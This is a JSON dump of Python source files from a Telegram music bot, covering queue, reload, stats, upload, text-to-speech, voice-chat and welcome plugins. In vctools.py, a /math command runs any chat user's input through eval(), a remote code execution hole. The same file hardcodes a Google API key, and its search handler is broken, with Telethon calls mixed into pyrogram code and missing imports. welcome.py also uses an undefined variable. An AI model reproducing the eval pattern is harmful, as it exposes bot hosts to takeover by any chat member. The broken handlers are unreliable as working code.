CallbackQuery.edit_message_media(media=med)\r\n    j = 0\r\n    msg = \"\"\r\n    for x in got:\r\n        j += 1\r\n        if j == 1:\r\n            msg += f'Streaming :\\n\\n✨ Title : {x[\"title\"]}\\nDuration : {x[\"dur\"]}\\nBy : {x[\"by\"]}\\n\\n'\r\n        elif j == 2:\r\n            msg += f'Queued :\\n\\n✨ Title : {x[\"title\"]}\\nDuration : {x[\"dur\"]}\\nBy : {x[\"by\"]}\\n\\n'\r\n        else:\r\n            msg += f'✨ Title : {x[\"title\"]}\\nDuration : {x[\"dur\"]}\\nBy : {x[\"by\"]}\\n\\n'\r\n    if \"Queued\" in msg:\r\n        if len(msg) < 700:\r\n            await asyncio.sleep(1)\r\n            return await CallbackQuery.edit_message_text(msg, reply_markup=buttons)\r\n        if \"✨\" in msg:\r\n            msg = msg.replace(\"✨\", \"\")\r\n        link = await HottyBin(msg)\r\n        med = InputMediaPhoto(media=link, caption=_[\"queue_3\"].format(link))\r\n        await CallbackQuery.edit_message_media(media=med, reply_markup=buttons)\r\n    else:\r\n        await asyncio.sleep(1)\r\n        return await CallbackQuery.edit_message_text(msg, reply_markup=buttons)\r\n\r\n\r\n@app.on_callback_query(filters.regex(\"queue_back_timer\") & ~BANNED_USERS)\r\n@languageCB\r\nasync def queue_back(client, CallbackQuery: CallbackQuery, _):\r\n    callback_data = CallbackQuery.data.strip()\r\n    cplay = callback_data.split(None, 1)[1]\r\n    try:\r\n        chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery)\r\n    except:\r\n        return\r\n    if not await is_active_chat(chat_id):\r\n        return await CallbackQuery.answer(_[\"general_5\"], show_alert=True)\r\n    got = db.get(chat_id)\r\n    if not got:\r\n        return await CallbackQuery.answer(_[\"queue_2\"], show_alert=True)\r\n    await CallbackQuery.answer(_[\"set_cb_5\"], show_alert=True)\r\n    file = got[0][\"file\"]\r\n    videoid = got[0][\"vidid\"]\r\n    user = got[0][\"by\"]\r\n    title = (got[0][\"title\"]).title()\r\n    typo = (got[0][\"streamtype\"]).title()\r\n    DUR = get_duration(got)\r\n    if \"live_\" in file:\r\n        IMAGE = get_image(videoid)\r\n    elif \"vid_\" in file:\r\n        IMAGE = get_image(videoid)\r\n    elif \"index_\" in file:\r\n        IMAGE = config.STREAM_IMG_URL\r\n    else:\r\n        if videoid == \"telegram\":\r\n            IMAGE = (\r\n                config.TELEGRAM_AUDIO_URL\r\n                if typo == \"Audio\"\r\n                else config.TELEGRAM_VIDEO_URL\r\n            )\r\n        elif videoid == \"soundcloud\":\r\n            IMAGE = config.SOUNCLOUD_IMG_URL\r\n        else:\r\n            IMAGE = get_image(videoid)\r\n    send = _[\"queue_6\"] if DUR == \"Unknown\" else _[\"queue_7\"]\r\n    cap = _[\"queue_8\"].format(app.mention, title, typo, user, send)\r\n    upl = (\r\n        queue_markup(_, DUR, cplay, videoid)\r\n        if DUR == \"Unknown\"\r\n        else queue_markup(\r\n            _,\r\n            DUR,\r\n            cplay,\r\n            videoid,\r\n            seconds_to_min(got[0][\"played\"]),\r\n            got[0][\"dur\"],\r\n        )\r\n    )\r\n    basic[videoid] = True\r\n\r\n    med = InputMediaPhoto(media=IMAGE, caption=cap)\r\n    mystic = await CallbackQuery.edit_message_media(media=med, reply_markup=upl)\r\n    if DUR != \"Unknown\":\r\n        try:\r\n            while db[chat_id][0][\"vidid\"] == videoid:\r\n                await asyncio.sleep(5)\r\n                if await is_active_chat(chat_id):\r\n                    if basic[videoid]:\r\n                        if await is_music_playing(chat_id):\r\n                            try:\r\n                                buttons = queue_markup(\r\n                                    _,\r\n                                    DUR,\r\n                                    cplay,\r\n                                    videoid,\r\n                                    seconds_to_min(db[chat_id][0][\"played\"]),\r\n                                    db[chat_id][0][\"dur\"],\r\n                                )\r\n                                await mystic.edit_reply_markup(reply_markup=buttons)\r\n                            except FloodWait:\r\n                                pass\r\n                        else:\r\n                            pass\r\n                    else:\r\n                        break\r\n                else:\r\n                    break\r\n        except:\r\n            return\r\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/reload.py",
    "content": "import asyncio\nimport time\n\nfrom pyrogram import filters\nfrom pyrogram.enums import ChatMembersFilter\nfrom pyrogram.types import CallbackQuery, Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.call import Hotty\nfrom BrandrdXMusic.misc import db\nfrom BrandrdXMusic.utils.database import get_assistant, get_authuser_names, get_cmode\nfrom BrandrdXMusic.utils.decorators import ActualAdminCB, AdminActual, language\nfrom BrandrdXMusic.utils.formatters import alpha_to_int, get_readable_time\nfrom config import BANNED_USERS, adminlist, lyrical\n\nrel = {}\n\n\n@app.on_message(\n    filters.command([\"admincache\", \"reload\", \"refresh\"]) & filters.group & ~BANNED_USERS\n)\n@language\nasync def reload_admin_cache(client, message: Message, _):\n    try:\n        if message.chat.id not in rel:\n            rel[message.chat.id] = {}\n        else:\n            saved = rel[message.chat.id]\n            if saved > time.time():\n                left = get_readable_time((int(saved) - int(time.time())))\n                return await message.reply_text(_[\"reload_1\"].format(left))\n        adminlist[message.chat.id] = []\n        async for user in app.get_chat_members(\n            message.chat.id, filter=ChatMembersFilter.ADMINISTRATORS\n        ):\n            if user.privileges.can_manage_video_chats:\n                adminlist[message.chat.id].append(user.user.id)\n        authusers = await get_authuser_names(message.chat.id)\n        for user in authusers:\n            user_id = await alpha_to_int(user)\n            adminlist[message.chat.id].append(user_id)\n        now = int(time.time()) + 180\n        rel[message.chat.id] = now\n        await message.reply_text(_[\"reload_2\"])\n    except:\n        await message.reply_text(_[\"reload_3\"])\n\n\n@app.on_message(filters.command([\"reboot\"]) & filters.group & ~BANNED_USERS)\n@AdminActual\nasync def restartbot(client, message: Message, _):\n    mystic = await message.reply_text(_[\"reload_4\"].format(app.mention))\n    await asyncio.sleep(1)\n    try:\n        db[message.chat.id] = []\n        await Hotty.stop_stream_force(message.chat.id)\n    except:\n        pass\n    userbot = await get_assistant(message.chat.id)\n    try:\n        if message.chat.username:\n            await userbot.resolve_peer(message.chat.username)\n        else:\n            await userbot.resolve_peer(message.chat.id)\n    except:\n        pass\n    chat_id = await get_cmode(message.chat.id)\n    if chat_id:\n        try:\n            got = await app.get_chat(chat_id)\n        except:\n            pass\n        userbot = await get_assistant(chat_id)\n        try:\n            if got.username:\n                await userbot.resolve_peer(got.username)\n            else:\n                await userbot.resolve_peer(chat_id)\n        except:\n            pass\n        try:\n            db[chat_id] = []\n            await Hotty.stop_stream_force(chat_id)\n        except:\n            pass\n    return await mystic.edit_text(_[\"reload_5\"].format(app.mention))\n\n\n@app.on_callback_query(filters.regex(\"close\") & ~BANNED_USERS)\nasync def close_menu(_, CallbackQuery):\n    try:\n        await CallbackQuery.answer()\n        await CallbackQuery.message.delete()\n        await CallbackQuery.message.reply_text(\n            f\"Cʟᴏsᴇᴅ ʙʏ : {CallbackQuery.from_user.mention}\"\n        )\n    except:\n        pass\n\n\n@app.on_callback_query(filters.regex(\"stop_downloading\") & ~BANNED_USERS)\n@ActualAdminCB\nasync def stop_download(client, CallbackQuery: CallbackQuery, _):\n    message_id = CallbackQuery.message.id\n    task = lyrical.get(message_id)\n    if not task:\n        return await CallbackQuery.answer(_[\"tg_4\"], show_alert=True)\n    if task.done() or task.cancelled():\n        return await CallbackQuery.answer(_[\"tg_5\"], show_alert=True)\n    if not task.done():\n        try:\n            task.cancel()\n            try:\n                lyrical.pop(message_id)\n            except:\n                pass\n            await CallbackQuery.answer(_[\"tg_6\"], show_alert=True)\n            return await CallbackQuery.edit_message_text(\n                _[\"tg_7\"].format(CallbackQuery.from_user.mention)\n            )\n        except:\n            return await CallbackQuery.answer(_[\"tg_8\"], show_alert=True)\n    await CallbackQuery.answer(_[\"tg_9\"], show_alert=True)\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/speedtest.py",
    "content": "import asyncio\n\nimport speedtest\nfrom pyrogram import filters\nfrom pyrogram.types import Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.misc import SUDOERS\nfrom BrandrdXMusic.utils.decorators.language import language\n\n\ndef testspeed(m, _):\n    try:\n        test = speedtest.Speedtest()\n        test.get_best_server()\n        m = m.edit_text(_[\"server_12\"])\n        test.download()\n        m = m.edit_text(_[\"server_13\"])\n        test.upload()\n        test.results.share()\n        result = test.results.dict()\n        m = m.edit_text(_[\"server_14\"])\n    except Exception as e:\n        return m.edit_text(f\"<code>{e}</code>\")\n    return result\n\n\n@app.on_message(filters.command([\"speedtest\", \"spt\"]) & SUDOERS)\n@language\nasync def speedtest_function(client, message: Message, _):\n    m = await message.reply_text(_[\"server_11\"])\n    loop = asyncio.get_event_loop()\n    result = await loop.run_in_executor(None, testspeed, m, _)\n    output = _[\"server_15\"].format(\n        result[\"client\"][\"isp\"],\n        result[\"client\"][\"country\"],\n        result[\"server\"][\"name\"],\n        result[\"server\"][\"country\"],\n        result[\"server\"][\"cc\"],\n        result[\"server\"][\"sponsor\"],\n        result[\"server\"][\"latency\"],\n        result[\"ping\"],\n    )\n    msg = await message.reply_photo(photo=result[\"share\"], caption=output)\n    await m.delete()\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/stats.py",
    "content": "import platform\nfrom sys import version as pyver\n\nimport psutil\nfrom pyrogram import __version__ as pyrover\nfrom pyrogram import filters\nfrom pyrogram.errors import MessageIdInvalid\nfrom pyrogram.types import InputMediaPhoto, Message\nfrom pytgcalls.__version__ import __version__ as pytgver\n\nimport config\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.core.userbot import assistants\nfrom BrandrdXMusic.misc import SUDOERS, mongodb\nfrom BrandrdXMusic.plugins import ALL_MODULES\nfrom BrandrdXMusic.utils.database import get_served_chats, get_served_users, get_sudoers, get_queries\nfrom BrandrdXMusic.utils.decorators.language import language, languageCB\nfrom BrandrdXMusic.utils.inline.stats import back_stats_buttons, stats_buttons\nfrom config import BANNED_USERS\n\n\n@app.on_message(filters.command([\"stats\", \"gstats\"]) & filters.group & ~BANNED_USERS)\n@language\nasync def stats_global(client, message: Message, _):\n    upl = stats_buttons(_, True if message.from_user.id in SUDOERS else False)\n    await message.reply_photo(\n        photo=config.STATS_IMG_URL,\n        caption=_[\"gstats_2\"].format(app.mention),\n        reply_markup=upl,\n    )\n\n\n@app.on_callback_query(filters.regex(\"stats_back\") & ~BANNED_USERS)\n@languageCB\nasync def home_stats(client, CallbackQuery, _):\n    upl = stats_buttons(_, True if CallbackQuery.from_user.id in SUDOERS else False)\n    await CallbackQuery.edit_message_text(\n        text=_[\"gstats_2\"].format(app.mention),\n        reply_markup=upl,\n    )\n\n\n@app.on_callback_query(filters.regex(\"TopOverall\") & ~BANNED_USERS)\n@languageCB\nasync def overall_stats(client, CallbackQuery, _):\n    await CallbackQuery.answer()\n    upl = back_stats_buttons(_)\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    await CallbackQuery.edit_message_text(_[\"gstats_1\"].format(app.mention))\n    served_chats = len(await get_served_chats())\n    served_users = len(await get_served_users())\n    total_queries = await get_queries()\n    text = _[\"gstats_3\"].format(\n        app.mention,\n        len(assistants),\n        len(BANNED_USERS),\n        served_chats,\n        served_users,\n        total_queries,\n        len(ALL_MODULES),\n        len(SUDOERS),\n        config.AUTO_LEAVING_ASSISTANT,\n        config.DURATION_LIMIT_MIN,\n    )\n    med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text)\n    try:\n        await CallbackQuery.edit_message_media(media=med, reply_markup=upl)\n    except MessageIdInvalid:\n        await CallbackQuery.message.reply_photo(\n            photo=config.STATS_IMG_URL, caption=text, reply_markup=upl\n        )\n\n\n@app.on_callback_query(filters.regex(\"bot_stats_sudo\"))\n@languageCB\nasync def bot_stats(client, CallbackQuery, _):\n    if CallbackQuery.from_user.id not in SUDOERS:\n        return await CallbackQuery.answer(_[\"gstats_4\"], show_alert=True)\n    upl = back_stats_buttons(_)\n    try:\n        await CallbackQuery.answer()\n    except:\n        pass\n    await CallbackQuery.edit_message_text(_[\"gstats_1\"].format(app.mention))\n    p_core = psutil.cpu_count(logical=False)\n    t_core = psutil.cpu_count(logical=True)\n    ram = str(round(psutil.virtual_memory().total / (1024.0**3))) + \" ɢʙ\"\n    try:\n        cpu_freq = psutil.cpu_freq().current\n        if cpu_freq >= 1000:\n            cpu_freq = f\"{round(cpu_freq / 1000, 2)}ɢʜᴢ\"\n        else:\n            cpu_freq = f\"{round(cpu_freq, 2)}ᴍʜᴢ\"\n    except:\n        cpu_freq = \"ғᴀɪʟᴇᴅ ᴛᴏ ғᴇᴛᴄʜ\"\n    hdd = psutil.disk_usage(\"/\")\n    total = hdd.total / (1024.0**3)\n    used = hdd.used / (1024.0**3)\n    free = hdd.free / (1024.0**3)\n    call = await mongodb.command(\"dbstats\")\n    datasize = call[\"dataSize\"] / 1024\n    storage = call[\"storageSize\"] / 1024\n    served_chats = len(await get_served_chats())\n    served_users = len(await get_served_users())\n    text = _[\"gstats_5\"].format(\n        app.mention,\n        len(ALL_MODULES),\n        platform.system(),\n        ram,\n        p_core,\n        t_core,\n        cpu_freq,\n        pyver.split()[0],\n        pyrover,\n        pytgver,\n        str(total)[:4],\n        str(used)[:4],\n        str(free)[:4],\n        served_chats,\n        served_users,\n        len(BANNED_USERS),\n        len(await get_sudoers()),\n        str(datasize)[:6],\n        storage,\n        call[\"collections\"],\n        call[\"objects\"],\n    )\n    med = InputMediaPhoto(media=config.STATS_IMG_URL, caption=text)\n    try:\n        await CallbackQuery.edit_message_media(media=med, reply_markup=upl)\n    except MessageIdInvalid:\n        await CallbackQuery.message.reply_photo(\n            photo=config.STATS_IMG_URL, caption=text, reply_markup=upl\n        )\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/telegraph.py",
    "content": "import os\nfrom pyrogram import filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\nfrom BrandrdXMusic import app\nimport requests\n\n\ndef upload_file(file_path):\n    url = \"https://catbox.moe/user/api.php\"\n    data = {\"reqtype\": \"fileupload\", \"json\": \"true\"}\n    files = {\"fileToUpload\": open(file_path, \"rb\")}\n    response = requests.post(url, data=data, files=files)\n\n    if response.status_code == 200:\n        return True, response.text.strip()\n    else:\n        return False, f\"ᴇʀʀᴏʀ: {response.status_code} - {response.text}\"\n\n\n@app.on_message(filters.command([\"tgm\", \"tgt\", \"telegraph\", \"tl\"]))\nasync def get_link_group(client, message):\n    if not message.reply_to_message:\n        return await message.reply_text(\n            \"Pʟᴇᴀsᴇ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇᴅɪᴀ ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴏɴ Tᴇʟᴇɢʀᴀᴘʜ\"\n        )\n\n    media = message.reply_to_message\n    file_size = 0\n    if media.photo:\n        file_size = media.photo.file_size\n    elif media.video:\n        file_size = media.video.file_size\n    elif media.document:\n        file_size = media.document.file_size\n\n    if file_size > 200 * 1024 * 1024:\n        return await message.reply_text(\"Pʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴀ ᴍᴇᴅɪᴀ ғɪʟᴇ ᴜɴᴅᴇʀ 200MB.\")\n\n    try:\n        text = await message.reply(\"Pʀᴏᴄᴇssɪɴɢ...\")\n\n        async def progress(current, total):\n            try:\n                await text.edit_text(f\"📥 Dᴏᴡɴʟᴏᴀᴅɪɴɢ... {current * 100 / total:.1f}%\")\n            except Exception:\n                pass\n\n        try:\n            local_path = await media.download(progress=progress)\n            await text.edit_text(\"📤 Uᴘʟᴏᴀᴅɪɴɢ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ...\")\n\n            success, upload_path = upload_file(local_path)\n\n            if success:\n                await text.edit_text(\n                    f\"🌐 | [ᴜᴘʟᴏᴀᴅᴇᴅ ʟɪɴᴋ]({upload_path})\",\n                    reply_markup=InlineKeyboardMarkup(\n                        [\n                            [\n                                InlineKeyboardButton(\n                                    \"ᴜᴘʟᴏᴀᴅᴇᴅ ғɪʟᴇ\",\n                                    url=upload_path,\n                                )\n                            ]\n                        ]\n                    ),\n                )\n            else:\n                await text.edit_text(\n                    f\"ᴀɴ ᴇʀʀᴏʀ ᴏᴄᴄᴜʀʀᴇᴅ ᴡʜɪʟᴇ ᴜᴘʟᴏᴀᴅɪɴɢ ʏᴏᴜʀ ғɪʟᴇ\\n{upload_path}\"\n                )\n\n            try:\n                os.remove(local_path)\n            except Exception:\n                pass\n\n        except Exception as e:\n            await text.edit_text(f\"❌ Fɪʟᴇ ᴜᴘʟᴏᴀᴅ ғᴀɪʟᴇᴅ\\n\\n<i>Rᴇᴀsᴏɴ: {e}</i>\")\n            try:\n                os.remove(local_path)\n            except Exception:\n                pass\n            return\n    except Exception:\n        pass\n\n\n__HELP__ = \"\"\"\n**ᴛᴇʟᴇɢʀᴀᴘʜ ᴜᴘʟᴏᴀᴅ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs**\n\nᴜsᴇ ᴛʜᴇsᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴜᴘʟᴏᴀᴅ ᴍᴇᴅɪᴀ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ:\n\n- `/tgm`: ᴜᴘʟᴏᴀᴅ ʀᴇᴘʟɪᴇᴅ ᴍᴇᴅɪᴀ ᴛᴏ ᴛᴇʟᴇɢʀᴀᴘʜ.\n- `/tgt`: sᴀᴍᴇ ᴀs `/tgm`.\n- `/telegraph`: sᴀᴍᴇ ᴀs `/tgm`.\n- `/tl`: sᴀᴍᴇ ᴀs `/tgm`.\n\n**ᴇxᴀᴍᴘʟᴇ:**\n- ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴘʜᴏᴛᴏ ᴏʀ ᴠɪᴅᴇᴏ ᴡɪᴛʜ `/tgm` ᴛᴏ ᴜᴘʟᴏᴀᴅ ɪᴛ.\n\n**ɴᴏᴛᴇ:**\nʏᴏᴜ ᴍᴜsᴛ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇᴅɪᴀ ғɪʟᴇ ғᴏʀ ᴛʜᴇ ᴜᴘʟᴏᴀᴅ ᴛᴏ ᴡᴏʀᴋ.\n\"\"\"\n\n__MODULE__ = \"Tᴇʟᴇɢʀᴀᴘʜ\"\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/tts.py",
    "content": "import io\n\nfrom gtts import gTTS\nfrom pyrogram import filters\n\nfrom BrandrdXMusic import app\n\n\n@app.on_message(filters.command(\"tts\"))\nasync def text_to_speech(client, message):\n    if len(message.command) < 2:\n        return await message.reply_text(\n            \"Please provide some text to convert to speech.\"\n        )\n\n    text = message.text.split(None, 1)[1]\n    tts = gTTS(text, lang=\"hi\")\n    audio_data = io.BytesIO()\n    tts.write_to_fp(audio_data)\n    audio_data.seek(0)\n\n    audio_file = io.BytesIO(audio_data.read())\n    audio_file.name = \"audio.mp3\"\n    await message.reply_audio(audio_file)\n\n\n__HELP__ = \"\"\"\n**ᴛᴇxᴛ ᴛᴏ sᴘᴇᴇᴄʜ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅ**\n\nᴜsᴇ ᴛʜᴇ `/tts` ᴄᴏᴍᴍᴀɴᴅ ᴛᴏ ᴄᴏɴᴠᴇʀᴛ ᴛᴇxᴛ ɪɴᴛᴏ sᴘᴇᴇᴄʜ.\n\n- `/tts <ᴛᴇxᴛ>`: ᴄᴏɴᴠᴇʀᴛs ᴛʜᴇ ɢɪᴠᴇɴ ᴛᴇxᴛ ᴛᴏ sᴘᴇᴇᴄʜ ɪɴ ʜɪɴᴅɪ.\n\n**ᴇxᴀᴍᴘʟᴇ:**\n- `/tts Namaste Duniya`\n\n**ɴᴏᴛᴇ:**\nᴍᴀᴋᴇ sᴜʀᴇ ᴛᴏ ᴘʀᴏᴠɪᴅᴇ sᴏᴍᴇ ᴛᴇxᴛ ᴀғᴛᴇʀ ᴛʜᴇ `/tts` ᴄᴏᴍᴍᴀɴᴅ.\n\"\"\"\n\n__MODULE__ = \"Tᴛs\"\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/vctools.py",
    "content": "from pyrogram import Client, filters\nfrom pyrogram.types import Message\nfrom BrandrdXMusic import app\nfrom pyrogram import *\nfrom pyrogram.types import *\nfrom config import OWNER_ID\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup\nfrom pyrogram.raw.functions.phone import CreateGroupCall, DiscardGroupCall\nfrom pyrogram.raw.types import InputGroupCall\nfrom BrandrdXMusic.utils.database import get_assistant\nfrom telethon.tl.functions.phone import (\n    CreateGroupCallRequest,\n    DiscardGroupCallRequest,\n    GetGroupCallRequest,\n    InviteToGroupCallRequest,\n)\n\n\n# vc on\n@app.on_message(filters.video_chat_started)\nasync def brah(_, msg):\n    await msg.reply(\"**😍ᴠɪᴅᴇᴏ ᴄʜᴀᴛ sᴛᴀʀᴛᴇᴅ🥳**\")\n\n\n# vc off\n@app.on_message(filters.video_chat_ended)\nasync def brah2(_, msg):\n    await msg.reply(\"**😕ᴠɪᴅᴇᴏ ᴄʜᴀᴛ ᴇɴᴅᴇᴅ💔**\")\n\n\n# invite members on vc\n@app.on_message(filters.video_chat_members_invited)\nasync def brah3(app: app, message: Message):\n    text = f\"➻ {message.from_user.mention}\\n\\n**๏ ɪɴᴠɪᴛɪɴɢ ɪɴ ᴠᴄ ᴛᴏ :**\\n\\n**➻ **\"\n    x = 0\n    for user in message.video_chat_members_invited.users:\n        try:\n            text += f\"[{user.first_name}](tg://user?id={user.id}) \"\n            x += 1\n        except Exception:\n            pass\n\n    try:\n        invite_link = await app.export_chat_invite_link(message.chat.id)\n        add_link = f\"https://t.me/{app.username}?startgroup=true\"\n        reply_text = f\"{text} 🤭🤭\"\n\n        await message.reply(\n            reply_text,\n            reply_markup=InlineKeyboardMarkup(\n                [\n                    [InlineKeyboardButton(text=\"๏ ᴊᴏɪɴ ᴠᴄ ๏\", url=add_link)],\n                ]\n            ),\n        )\n    except Exception as e:\n        print(f\"Error: {e}\")\n\n\n####\n\n\n@app.on_message(filters.command(\"math\", prefixes=\"/\"))\ndef calculate_math(client, message):\n    expression = message.text.split(\"/math \", 1)[1]\n    try:\n        result = eval(expression)\n        response = f\"ᴛʜᴇ ʀᴇsᴜʟᴛ ɪs : {result}\"\n    except:\n        response = \"ɪɴᴠᴀʟɪᴅ ᴇxᴘʀᴇssɪᴏɴ\"\n    message.reply(response)\n\n\n@app.on_message(filters.command([\"spg\"], [\"/\", \"!\", \".\"]))\nasync def search(event):\n    msg = await event.respond(\"Searching...\")\n    async with aiohttp.ClientSession() as session:\n        start = 1\n        async with session.get(\n            f\"https://content-customsearch.googleapis.com/customsearch/v1?cx=ec8db9e1f9e41e65e&q={event.text.split()[1]}&key=AIzaSyAa8yy0GdcGPHdtD083HiGGx_S0vMPScDM&start={start}\",\n            headers={\"x-referer\": \"https://explorer.apis.google.com\"},\n        ) as r:\n            response = await r.json()\n            result = \"\"\n\n            if not response.get(\"items\"):\n                return await msg.edit(\"No results found!\")\n            for item in response[\"items\"]:\n                title = item[\"title\"]\n                link = item[\"link\"]\n                if \"/s\" in item[\"link\"]:\n                    link = item[\"link\"].replace(\"/s\", \"\")\n                elif re.search(r\"\\/\\d\", item[\"link\"]):\n                    link = re.sub(r\"\\/\\d\", \"\", item[\"link\"])\n                if \"?\" in link:\n                    link = link.split(\"?\")[0]\n                if link in result:\n                    # remove duplicates\n                    continue\n                result += f\"{title}\\n{link}\\n\\n\"\n            prev_and_next_btns = [\n                Button.inline(\"▶️Next▶️\", data=f\"next {start+10} {event.text.split()[1]}\")\n            ]\n            await msg.edit(result, link_preview=False, buttons=prev_and_next_btns)\n            await session.close()\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/welcome.py",
    "content": "import os\nfrom PIL import ImageDraw, Image, ImageFont, ImageChops\nfrom pyrogram import *\nfrom pyrogram.types import *\nfrom logging import getLogger\nfrom BrandrdXMusic import app\n\nLOGGER = getLogger(__name__)\n\nclass WelDatabase:\n    def __init__(self):\n        self.data = {}\n\n    async def find_one(self, chat_id):\n        return chat_id in self.data\n\n    async def add_wlcm(self, chat_id):\n        self.data[chat_id] = {}\n\n    async def rm_wlcm(self, chat_id):\n        if chat_id in self.data:\n            del self.data[chat_id]\n\nwlcm = WelDatabase()\n\nclass temp:\n    ME = None\n    CURRENT = 2\n    CANCEL = False\n    MELCOW = {}\n    U_NAME = None\n    B_NAME = None\n\ndef circle(pfp, size=(500, 500)):\n    pfp = pfp.resize(size, Image.LANCZOS).convert(\"RGBA\")\n    bigsize = (pfp.size[0] * 3, pfp.size[1] * 3)\n    mask = Image.new(\"L\", bigsize, 0)\n    draw = ImageDraw.Draw(mask)\n    draw.ellipse((0, 0) + bigsize, fill=255)\n    mask = mask.resize(pfp.size, Image.LANCZOS)\n    mask = ImageChops.darker(mask, pfp.split()[-1])\n    pfp.putalpha(mask)\n    return pfp\n\ndef welcomepic(pic, user, chatname, id, uname):\n    background = Image.open(\"BrandrdXMusic/assets/Brandedwel2.png\")\n    pfp = Image.open(pic).convert(\"RGBA\")\n    pfp = circle(pfp)\n    pfp = pfp.resize((825, 824))\n    draw = ImageDraw.Draw(background)\n    font = ImageFont.truetype('BrandrdXMusic/assets/font.ttf', size=110)\n    welcome_font = ImageFont.truetype('BrandrdXMusic/assets/font.ttf', size=60)\n    draw.text((2100, 1420), f'ID: {id}', fill=(12000, 12000, 12000), font=font)\n    pfp_position = (1990, 435)\n    background.paste(pfp, pfp_position, pfp)\n    background.save(f\"downloads/welcome#{id}.png\")\n    return f\"downloads/welcome#{id}.png\"\n\n@app.on_chat_member_updated(filters.group, group=-3)\nasync def greet_group(_, member: ChatMemberUpdated):\n    chat_id = member.chat.id\n    A = await wlcm.find_one(chat_id)\n    if (\n        not member.new_chat_member\n        or member.new_chat_member.status in {\"banned\", \"left\", \"restricted\"}\n        or member.old_chat_member\n    ):\n        return\n    user = member.new_chat_member.user if member.new_chat_member else member.from_user\n    try:\n        pic = await app.download_media(\n            user.photo.big_file_id, file_name=f\"pp{user.id}.png\"\n        )\n    except AttributeError:\n        pic = \"BrandrdXMusic/assets/Brandedwel2.png\"\n    if (temp.MELCOW).get(f\"welcome-{member.chat.id}\") is not None:\n        try:\n            await temp.MELCOW[f\"welcome-{member.chat.id}\"].delete()\n        except Exception as e:\n            LOGGER.error(e)\n    try:\n        welcomeimg = welcomepic(\n            pic, user.first_name, member.chat.title, user.id, user.username\n        )\n        temp.MELCOW[f\"welcome-{member.chat.id}\"] = await app.send_photo(\n            member.chat.id,\n            photo=welcomeimg,\n            caption=f\"\"\"\n𝗪𝗲𝗹𝗰𝗼𝗺𝗲 𝗧𝗼 {member.chat.title}\n➖➖➖➖➖➖➖➖➖➖➖\n๏ 𝗡𝗔𝗠𝗘 ➠ {user.mention}\n๏ 𝗜𝗗 ➠ {user.id}\n๏ 𝐔𝐒𝐄𝐑𝐍𝐀𝐌𝐄 ➠ @{user.username}\n๏ 𝐌𝐀𝐃𝐄 𝐁𝐘 ➠ [𝗕𝗥𝗔𝗡𝗗𝗘𝗗 𓆩🇽𓆪 𝗞𝗜𝗡𝗚 📿](https://t.me/BRANDEDKING8)\n➖➖➖➖➖➖➖➖➖➖➖\n\"\"\",\n            reply_markup=InlineKeyboardMarkup([[InlineKeyboardButton(f\"⦿ ᴀᴅᴅ ᴍᴇ ⦿\", url=f\"https://t.me/Sustumm_music_bot?startgroup=true\")]])\n        )\n    except Exception as e:\n        LOGGER.error(e)\n    try:\n        os.remove(f\"downloads/welcome#{user.id}.png\")\n        os.remove(f\"downloads/pp{user.id}.png\")\n    except Exception as e:\n        pass\n\n@app.on_message(filters.new_chat_members & filters.group, group=-1)\nasync def bot_wel(_, message):\n    for u in message.new_chat_members:\n        if u.id == app.me.id:\n            await app.send_message(LOG_CHANNEL_ID, f\"\"\"\nNEW GROUP\n➖➖➖➖➖➖➖➖➖➖➖\n𝗡𝗔𝗠𝗘: {message.chat.title}\n𝗜𝗗: {message.chat.id}\n𝐔𝐒𝐄𝐑𝐍𝐀𝐌𝐄: @{message.chat.username}\n➖➖➖➖➖➖➖➖➖➖➖\n\"\"\")\n"
  },
  {
    "path": "BrandrdXMusic/plugins/tools/zowner.py",
    "content": "import asyncio\n\nfrom pyrogram import Client, filters\nfrom pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup, Message\n\nfrom BrandrdXMusic import app\nfrom BrandrdXMusic.mongo.afkdb import LOGGERS as OWNERS\nfrom BrandrdXMusic.utils.database import add_served_chat, get_assistant\n\n\n@app.on_message(filters.command(\"repo\"))\nasync def help(client: Client, message: Message):\n    await message.reply_photo(\n        photo=f\"https://telegra.ph/file/1aac9a42f6f35138da34b.jpg\",\n        caption=f\"\"\"🍁𝐂𝐋𝐈𝐂𝐊🥰𝐁𝐄𝐋𝐎𝐖💝𝐁𝐔𝐓𝐓𝐎𝐍✨𝐓𝐎🙊𝐆𝐄𝐓🌱𝐑𝐄𝐏𝐎🍁\"\"\",\n        reply_markup=InlineKeyboardMarkup(\n            [\n                [\n                    InlineKeyboardButton(\n                        \"ƨσʋяcɛ\", url=f\"https://github.com/WCGKING/BrandrdXMusic\"\n                    )\n                ]\n            ]\n        ),\n    )\n\n\n@app.on_message(filters.command(\"clone\"))\nasync def clones(client: Client, message: Message):\n    await message.reply_photo(\n        photo=f\"https://telegra.ph/file/1aac9a42f6f35138da34b.jpg\",\n        caption=f\"\"\"**🙂You Are Not Sudo User So You Are Not Allowed To Clone Me.**\\n**😌Click Given Below Button And Host Manually Otherwise Contact Owner Or Sudo Users For Clone.**\"\"\",\n        reply_markup=InlineKeyboardMarkup(\n            [\n                [\n                    InlineKeyboardButton(\n                        